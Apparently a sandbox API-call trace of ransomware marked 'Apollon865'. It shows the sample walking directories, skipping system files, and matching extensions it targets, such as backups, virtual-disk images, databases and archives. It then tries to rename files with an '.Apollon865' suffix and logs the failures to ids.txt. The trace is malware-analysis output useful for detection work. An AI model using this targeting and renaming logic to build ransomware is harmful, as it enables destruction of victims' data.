	[0076.752] lstrcmpiW (lpString1="numbers.xml", lpString2="MSBuild") returned 1
	[0076.752] lstrlenW (lpString="numbers.xml") returned 11
	[0076.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned 72
	[0076.752] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="numbers.xml" | out: lpString1="numbers.xml") returned="numbers.xml"
	[0076.753] lstrlenW (lpString="numbers.xml") returned 11
	[0076.753] lstrlenW (lpString="Apollon865") returned 10
	[0076.753] lstrcmpiW (lpString1="umbers.xml", lpString2="Apollon865") returned 1
	[0076.753] lstrlenW (lpString=".dll") returned 4
	[0076.753] lstrcmpiW (lpString1="numbers.xml", lpString2=".dll") returned 1
	[0076.753] lstrlenW (lpString=".lnk") returned 4
	[0076.753] lstrcmpiW (lpString1="numbers.xml", lpString2=".lnk") returned 1
	[0076.753] lstrlenW (lpString=".ini") returned 4
	[0076.753] lstrcmpiW (lpString1="numbers.xml", lpString2=".ini") returned 1
	[0076.753] lstrlenW (lpString=".sys") returned 4
	[0076.753] lstrcmpiW (lpString1="numbers.xml", lpString2=".sys") returned 1
	[0076.753] lstrlenW (lpString="numbers.xml") returned 11
	[0076.753] lstrlenW (lpString="bak") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.753] lstrlenW (lpString="ba_") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.753] lstrlenW (lpString="dbb") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.753] lstrlenW (lpString="vmdk") returned 4
	[0076.753] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.753] lstrlenW (lpString="rar") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.753] lstrlenW (lpString="zip") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.753] lstrlenW (lpString="tgz") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.753] lstrlenW (lpString="vbox") returned 4
	[0076.753] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.753] lstrlenW (lpString="vdi") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.753] lstrlenW (lpString="vhd") returned 3
	[0076.753] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.753] lstrlenW (lpString="vhdx") returned 4
	[0076.754] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.754] lstrlenW (lpString="avhd") returned 4
	[0076.754] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.754] lstrlenW (lpString="db") returned 2
	[0076.754] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.754] lstrlenW (lpString="db2") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.754] lstrlenW (lpString="db3") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.754] lstrlenW (lpString="dbf") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.754] lstrlenW (lpString="mdf") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.754] lstrlenW (lpString="mdb") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.754] lstrlenW (lpString="sql") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.754] lstrlenW (lpString="sqlite") returned 6
	[0076.754] lstrcmpiW (lpString1="rs.xml", lpString2="sqlite") returned -1
	[0076.754] lstrlenW (lpString="sqlite3") returned 7
	[0076.754] lstrcmpiW (lpString1="ers.xml", lpString2="sqlite3") returned -1
	[0076.754] lstrlenW (lpString="sqlitedb") returned 8
	[0076.754] lstrcmpiW (lpString1="bers.xml", lpString2="sqlitedb") returned -1
	[0076.754] lstrlenW (lpString="xml") returned 3
	[0076.754] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.754] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.Apollon865") returned 87
	[0076.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.759] GetLastError () returned 0x5
	[0076.759] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml MoveFileEx error 5\r\n") returned 105
	[0076.759] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml MoveFileEx error 5\r\n") returned 105
	[0076.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.759] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x376a
	[0076.760] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x69, lpOverlapped=0x0) returned 1
	[0076.760] CloseHandle (hObject=0x100) returned 1
	[0076.760] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.760] CloseHandle (hObject=0x0) returned 0
	[0076.760] CloseHandle (hObject=0x0) returned 0
	[0076.760] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="Apollon865.txt.exe") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2=".") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="..") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="windows") returned -1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="bootmgr") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="temp") returned -1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="pagefile.sys") returned -1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="boot") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="ids.txt") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="ntuser.dat") returned 1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="perflogs") returned -1
	[0076.760] lstrcmpiW (lpString1="oskmenu", lpString2="MSBuild") returned 1
	[0076.760] lstrlenW (lpString="oskmenu") returned 7
	[0076.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0076.760] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="oskmenu" | out: lpString1="oskmenu") returned="oskmenu"
	[0076.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0076.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5a0fc8
	[0076.761] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0076.761] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2=".") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="..") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="windows") returned -1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="bootmgr") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="temp") returned -1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="pagefile.sys") returned -1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="boot") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="ids.txt") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="ntuser.dat") returned 1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="perflogs") returned -1
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2="MSBuild") returned 1
	[0076.761] lstrlenW (lpString="oskmenu.xml") returned 11
	[0076.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu") returned 72
	[0076.761] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="oskmenu.xml" | out: lpString1="oskmenu.xml") returned="oskmenu.xml"
	[0076.761] lstrlenW (lpString="oskmenu.xml") returned 11
	[0076.761] lstrlenW (lpString="Apollon865") returned 10
	[0076.761] lstrcmpiW (lpString1="skmenu.xml", lpString2="Apollon865") returned 1
	[0076.761] lstrlenW (lpString=".dll") returned 4
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2=".dll") returned 1
	[0076.761] lstrlenW (lpString=".lnk") returned 4
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2=".lnk") returned 1
	[0076.761] lstrlenW (lpString=".ini") returned 4
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2=".ini") returned 1
	[0076.761] lstrlenW (lpString=".sys") returned 4
	[0076.761] lstrcmpiW (lpString1="oskmenu.xml", lpString2=".sys") returned 1
	[0076.761] lstrlenW (lpString="oskmenu.xml") returned 11
	[0076.761] lstrlenW (lpString="bak") returned 3
	[0076.761] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.761] lstrlenW (lpString="ba_") returned 3
	[0076.761] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.761] lstrlenW (lpString="dbb") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.762] lstrlenW (lpString="vmdk") returned 4
	[0076.762] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.762] lstrlenW (lpString="rar") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.762] lstrlenW (lpString="zip") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.762] lstrlenW (lpString="tgz") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.762] lstrlenW (lpString="vbox") returned 4
	[0076.762] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.762] lstrlenW (lpString="vdi") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.762] lstrlenW (lpString="vhd") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.762] lstrlenW (lpString="vhdx") returned 4
	[0076.762] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.762] lstrlenW (lpString="avhd") returned 4
	[0076.762] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.762] lstrlenW (lpString="db") returned 2
	[0076.762] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.762] lstrlenW (lpString="db2") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.762] lstrlenW (lpString="db3") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.762] lstrlenW (lpString="dbf") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.762] lstrlenW (lpString="mdf") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.762] lstrlenW (lpString="mdb") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.762] lstrlenW (lpString="sql") returned 3
	[0076.762] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.762] lstrlenW (lpString="sqlite") returned 6
	[0076.762] lstrcmpiW (lpString1="nu.xml", lpString2="sqlite") returned -1
	[0076.762] lstrlenW (lpString="sqlite3") returned 7
	[0076.762] lstrcmpiW (lpString1="enu.xml", lpString2="sqlite3") returned -1
	[0076.762] lstrlenW (lpString="sqlitedb") returned 8
	[0076.763] lstrcmpiW (lpString1="menu.xml", lpString2="sqlitedb") returned -1
	[0076.763] lstrlenW (lpString="xml") returned 3
	[0076.763] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.763] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.Apollon865") returned 87
	[0076.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.763] GetLastError () returned 0x5
	[0076.763] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml MoveFileEx error 5\r\n") returned 105
	[0076.763] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml MoveFileEx error 5\r\n") returned 105
	[0076.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.763] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37d3
	[0076.763] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x69, lpOverlapped=0x0) returned 1
	[0076.763] CloseHandle (hObject=0x100) returned 1
	[0076.763] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.763] CloseHandle (hObject=0x0) returned 0
	[0076.764] CloseHandle (hObject=0x0) returned 0
	[0076.764] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="Apollon865.txt.exe") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2=".") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="..") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="windows") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="bootmgr") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="temp") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="pagefile.sys") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="boot") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="ids.txt") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="ntuser.dat") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="perflogs") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad", lpString2="MSBuild") returned 1
	[0076.764] lstrlenW (lpString="osknumpad") returned 9
	[0076.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0076.764] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="osknumpad" | out: lpString1="osknumpad") returned="osknumpad"
	[0076.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0076.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x5a3720
	[0076.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0076.764] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2=".") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="..") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="windows") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="bootmgr") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="temp") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="pagefile.sys") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="boot") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="ids.txt") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="ntuser.dat") returned 1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="perflogs") returned -1
	[0076.764] lstrcmpiW (lpString1="osknumpad.xml", lpString2="MSBuild") returned 1
	[0076.765] lstrlenW (lpString="osknumpad.xml") returned 13
	[0076.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned 74
	[0076.765] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="osknumpad.xml" | out: lpString1="osknumpad.xml") returned="osknumpad.xml"
	[0076.765] lstrlenW (lpString="osknumpad.xml") returned 13
	[0076.765] lstrlenW (lpString="Apollon865") returned 10
	[0076.765] lstrcmpiW (lpString1="numpad.xml", lpString2="Apollon865") returned 1
	[0076.765] lstrlenW (lpString=".dll") returned 4
	[0076.765] lstrcmpiW (lpString1="osknumpad.xml", lpString2=".dll") returned 1
	[0076.765] lstrlenW (lpString=".lnk") returned 4
	[0076.765] lstrcmpiW (lpString1="osknumpad.xml", lpString2=".lnk") returned 1
	[0076.765] lstrlenW (lpString=".ini") returned 4
	[0076.765] lstrcmpiW (lpString1="osknumpad.xml", lpString2=".ini") returned 1
	[0076.765] lstrlenW (lpString=".sys") returned 4
	[0076.765] lstrcmpiW (lpString1="osknumpad.xml", lpString2=".sys") returned 1
	[0076.765] lstrlenW (lpString="osknumpad.xml") returned 13
	[0076.765] lstrlenW (lpString="bak") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.765] lstrlenW (lpString="ba_") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.765] lstrlenW (lpString="dbb") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.765] lstrlenW (lpString="vmdk") returned 4
	[0076.765] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.765] lstrlenW (lpString="rar") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.765] lstrlenW (lpString="zip") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.765] lstrlenW (lpString="tgz") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.765] lstrlenW (lpString="vbox") returned 4
	[0076.765] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.765] lstrlenW (lpString="vdi") returned 3
	[0076.765] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.766] lstrlenW (lpString="vhd") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.766] lstrlenW (lpString="vhdx") returned 4
	[0076.766] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.766] lstrlenW (lpString="avhd") returned 4
	[0076.766] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.766] lstrlenW (lpString="db") returned 2
	[0076.766] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.766] lstrlenW (lpString="db2") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.766] lstrlenW (lpString="db3") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.766] lstrlenW (lpString="dbf") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.766] lstrlenW (lpString="mdf") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.766] lstrlenW (lpString="mdb") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.766] lstrlenW (lpString="sql") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.766] lstrlenW (lpString="sqlite") returned 6
	[0076.766] lstrcmpiW (lpString1="ad.xml", lpString2="sqlite") returned -1
	[0076.766] lstrlenW (lpString="sqlite3") returned 7
	[0076.766] lstrcmpiW (lpString1="pad.xml", lpString2="sqlite3") returned -1
	[0076.766] lstrlenW (lpString="sqlitedb") returned 8
	[0076.766] lstrcmpiW (lpString1="mpad.xml", lpString2="sqlitedb") returned -1
	[0076.766] lstrlenW (lpString="xml") returned 3
	[0076.766] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.766] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.Apollon865") returned 89
	[0076.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.769] GetLastError () returned 0x5
	[0076.769] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml MoveFileEx error 5\r\n") returned 107
	[0076.769] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml MoveFileEx error 5\r\n") returned 107
	[0076.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.769] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x383c
	[0076.769] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6b, lpOverlapped=0x0) returned 1
	[0076.770] CloseHandle (hObject=0x100) returned 1
	[0076.770] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.770] CloseHandle (hObject=0x0) returned 0
	[0076.770] CloseHandle (hObject=0x0) returned 0
	[0076.770] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="Apollon865.txt.exe") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2=".") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="..") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="windows") returned -1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="bootmgr") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="temp") returned -1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="pagefile.sys") returned -1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="boot") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="ids.txt") returned 1
